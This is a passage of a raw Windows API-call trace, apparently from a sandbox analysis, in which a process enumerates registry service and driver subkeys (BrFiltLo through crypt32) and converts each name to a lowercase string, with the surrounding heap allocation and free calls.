RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0180.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0180.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0180.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0180.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0180.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0180.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0180.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0180.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0180.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1a00, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0180.521] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0180.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, 